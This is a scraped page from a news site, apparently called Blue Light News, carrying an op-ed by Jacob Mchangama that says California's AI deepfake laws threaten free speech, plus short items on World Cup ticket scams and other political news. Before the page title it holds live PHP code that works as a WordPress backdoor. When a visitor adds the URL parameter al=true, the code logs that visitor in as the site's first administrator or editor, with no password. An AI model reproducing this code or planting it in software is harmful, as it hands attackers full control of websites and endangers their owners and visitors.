// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); California’s solution to fight AI disinformation is worse than the problem – Blue Light News
Connect with us

Politics

California’s solution to fight AI disinformation is worse than the problem

Published

on

California’s solution to fight AI disinformation is worse than the problem

Democracy, California Gov. Gavin Newsom warns, is on the brink. The culprit? A wave of “disinformation powered by generative AI,” poised to “pollute our information ecosystems like never before.” With the 2024 election looming, Newsom and California Democrats argue that artificial intelligence-generated content threatens to warp public perception. In response, the Golden State has swiftly enacted two bold new laws designed to stem the tide of “deceptive” content spreading across the internet.

These laws not only likely violate the First Amendment, which protects even false political speech, but they are also rooted in exaggerated fears of AI disinformation.

An obviously deepfaked video of Vice President Kamala Harris, widely shared by Elon Musk, prompted Newsom’s push to regulate online discoursebut, of course, these laws will also ban the many parody AI videos of Donald Trump.

As researchers have pointed out…the extent and impact of disinformation are typically much smaller than the alarmist scenarios assume.

To be sure, disinformation, deepfakes and propaganda can spread and have real-life effects. But as researchers have pointed out — mostly to deaf ears — the extent and impact of disinformation are, thus far, typically much smaller than the alarmist scenarios assume. And a recent study by MIT researchers found that humans can frequently discern deepfakes with both audio and visual cues. That’s why widely shared deepfakes of Harris or Trump failed to convince anyone they were real.

Also, a closer look at 2024 elections around the world demonstrates how fears of AI deepfakes have largely been overblown.

Before this summer’s European parliamentary elections, headline after headline sounded the alarm that “AI could supercharge disinformation” and put the future of democracy at stake. A perfect storm of Russian propaganda and artificial intelligence threatened to drown the integrity of an election with 373 million eligible voters in 27 countries in disinformation and deepfakes.

That message was echoed by think tanks, researchers and European Union leaders ahead of the June election. Věra Jourová, the European Commission vice president for values and transparency, said AI deepfakes of politicians could create “an atomic bomb … to change the course of voter preferences.” In response, the European Commission sent alerts to social media platforms and set up crisis units expecting to deal with efforts to cast doubt on the legitimacy of the election’s outcome for weeks after the vote.

So what happened? Despite active disinformation networks on social media platforms, the E.U.-funded and often alarmist European Digital Media Observatory identified no major disinformation-related incident or any deluge of deepfakes. In the U.K. elections, British fact-checking group FullFact told Politico“There hasn’t been a [deepfake] which has just dominated a day of the actual election campaign.”

What about the rest of the world? Elections have taken place in many countries, some with less resilient democratic institutions and more vulnerable election procedures than European democracies.

A Washington Post article highlighted India’s 2024 elections as a “preview” of how AI is transforming democracy. Despite being “awash in deepfakes,” researchers found, AI had little impactinstead proving a net positive by connecting voters.

These election results demonstrate that a critical mass of voters can think for themselves and don’t slavishly fall for lies propaganda and nonsense.

In Pakistan and Indonesiaobservers reported minimal disinformation, with viral fake news fact-checked on social media. A coalition of civil society groups and government agencies in Taiwan ensured transparency and crowdsourced fact-checking, mitigating China’s interference attempts.

It should be a positive story that democracies around the world, to this point, have a higher degree of resilience than many feared. More importantly, these election results demonstrate that a critical mass of voters can think for themselves and don’t slavishly fall for lies, propaganda and nonsense, even when slickly produced with cutting-edge technology.

As the 2024 U.S. election approaches, we should be vigilant but resist the urge to sacrifice free speech in the name of fighting disinformation. Our democracy is more resilient than fearmongers suggest.

California’s two new laws, on the other hand, are panic-driven and counterproductive, and they open the door to state-sanctioned censorship of lawful speech.

A.B. 2839 prohibits the use of AI deepfakes about political candidates, while A.B. 2655 requires large platforms to block “deceptive” content about politicians, respond to every public complaint within 36 hours and remove “substantially similar” content.

Both laws will chill political speech, infringe on Californians’ ability to criticize politicians, undermine platforms’ rights to moderate content and even prevent people from highlighting “deceptive” content as fake.

While A.B. 2839 exempts political satire and parody, it requires those responsible to include disclosures that the “materially deceptive” content isn’t real, which will surely undermine the impact of these messages if commentators must declare that they are just joking.

Both laws will chill political speech, infringe on Californians’ ability to criticize politicians.

We would also be wise to remember that the very politicians who generate headlines about AI disinformation — and insist that they should be trusted to define this nebulous concept — are frequently the sources of political misinformation.

Instead of succumbing to elite panic, we should face the challenge of disinformation while heeding the words of former Supreme Court Justice Anthony Kennedywho said, “Our constitutional tradition stands against the idea that we need Oceania’s Ministry of Truth.” In defending free speech, we must avoid granting the government unprecedented powers to decide what truth is, recognizing that the greatest threat to democracy often comes from those who claim to protect it.

(Disclosure: The Future of Free Speech is a nonpartisan think tank in joint partnership with Vanderbilt University and Denmark-based Justitia. It has received limited financial support from Google for specific projects not related to the subject of this piece. In all cases, The Future of Free Speech retains full independence and final authority for its work.)

Jacob Mchangama

Jacob Mchangama is the executive director of The Future of Free Speech and a research professor at Vanderbilt University. He is also a senior fellow at the Foundation for Individual Rights and Expression (FIRE) and the author of “Free Speech: A History From Socrates to Social Media.”

Read More

Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Politics

World Cup fuels ticketing reform demands

Published

on

Demands are growing for a political reckoning over ticket scams at the World Cup — and beyond.

The National Independent Venue Association and Fan Alliance, organizations representing and advocating for entertainment venues and artists respectively, sent a joint letter to Congress on Thursday, calling on lawmakers to ban speculative and ghost tickets, cases where resellers flog tickets they don’t actually have.

The letter — addressed to Speaker Mike Johnson, Senate Majority Leader John Thune, House Democratic Leader Hakeem Jeffries and Senate Democratic Leader Chuck Schumer — includes nearly two dozen accounts of fans who say they were scammed out of thousands of dollars trying to get tickets to the World Cup, which began last week. The groups are also asking fans to share their own stories with elected officials via the Fix the Tix Fan Action Center that launched last week.

“Every one of these stories erodes the public’s faith that consumers should and will be protected from fraud,” NIVA Executive Director Stephen Parker and Fan Alliance founder Donald Cohen wrote. “We urge Congress to work with us to prevent fraud like this in the future and finally enact ticket resale consumer protections that will protect Americans and ensure affordability.”

The letter flagged fans like Dacy Gillespie, who bought World Cup tickets for her sons on Christmas, only to learn on match day — months later — that the seller couldn’t deliver them. And Skylie Shore, who Parker and Cohen said spent well over $6,000 on tickets to the Scotland-Haiti match on June 13, but was forced to wait outside the stadium because she couldn’t access them as fans marched in on gameday.

“These examples reveal a consistent pattern: consumer deception, speculative ticket sales, and broken-hearted American families at the hands of resale ticketing companies like StubHub,” Parker and Cohen wrote.

In a statement, StubHub spokesperson Jack Sterne said that the platform does not allow speculative ticket sales, and blamed FIFA for users’ difficulty in accessing their tickets.

“We understand that attending the World Cup represents a significant investment in time and money, and we take our responsibility to every fan who books through our platform seriously,” Sterne said in a statement. “Many of the issues fans are facing trace back to the event organizer’s technology infrastructure, newly announced transfer restrictions, and a new app that was launched just a month ago.”

In response, FIFA said in a statement that the organization “can guarantee the validity and delivery of tickets purchased through its official platforms” and that FIFA.com/tickets “is the official ticket sales channel” for the tournament.

NIVA and Fan Alliance are urging congressional leadership to place universal price-gouging limits on ticket resale, enact stringent fines on perpetrators and a violation-reporting mechanism for ticket scams, and require secondary ticketing platforms to produce data on ticket fulfillment and consumer complaints.

The groups are not the only ones monitoring for evidence of shady ticket practices. Missouri Attorney General Catherine Hanaway issued a consumer guidance in advance of the tournament, urging match-goers to beware of fraud and promising to hold offenders accountable. And the FBI in May put out a public service announcement, warning fans against purchasing tickets on copycat websites modeled on FIFA’s.

“With the World Cup coming to Kansas City, excitement is high and, unfortunately, so is the potential for fraud,” Hanaway said in her statement. “Missourians should be able to enjoy this once-in-a-generation event without fear of being deceived. My office will hold accountable anyone who seeks to exploit our families, and we stand ready to assist anyone who encounters suspicious activity.”

Continue Reading

Politics

White House scheduled to meet with groups on AI and kids’ safety bills

Published

on

White House scheduled to meet with groups on AI and kids’ safety bills

Sen. Marsha Blackburn has been pushing to wrap several pieces of AI safety legislation together in a forthcoming package…
Read More

Continue Reading

Politics

Senate Armed Services chair slams Iran peace deal

Published

on

Senate Armed Services chair slams Iran peace deal

Republican defense hawks have heartburn over the nascent deal, which the White House provided to lawmakers on Thursday…
Read More

Continue Reading

Trending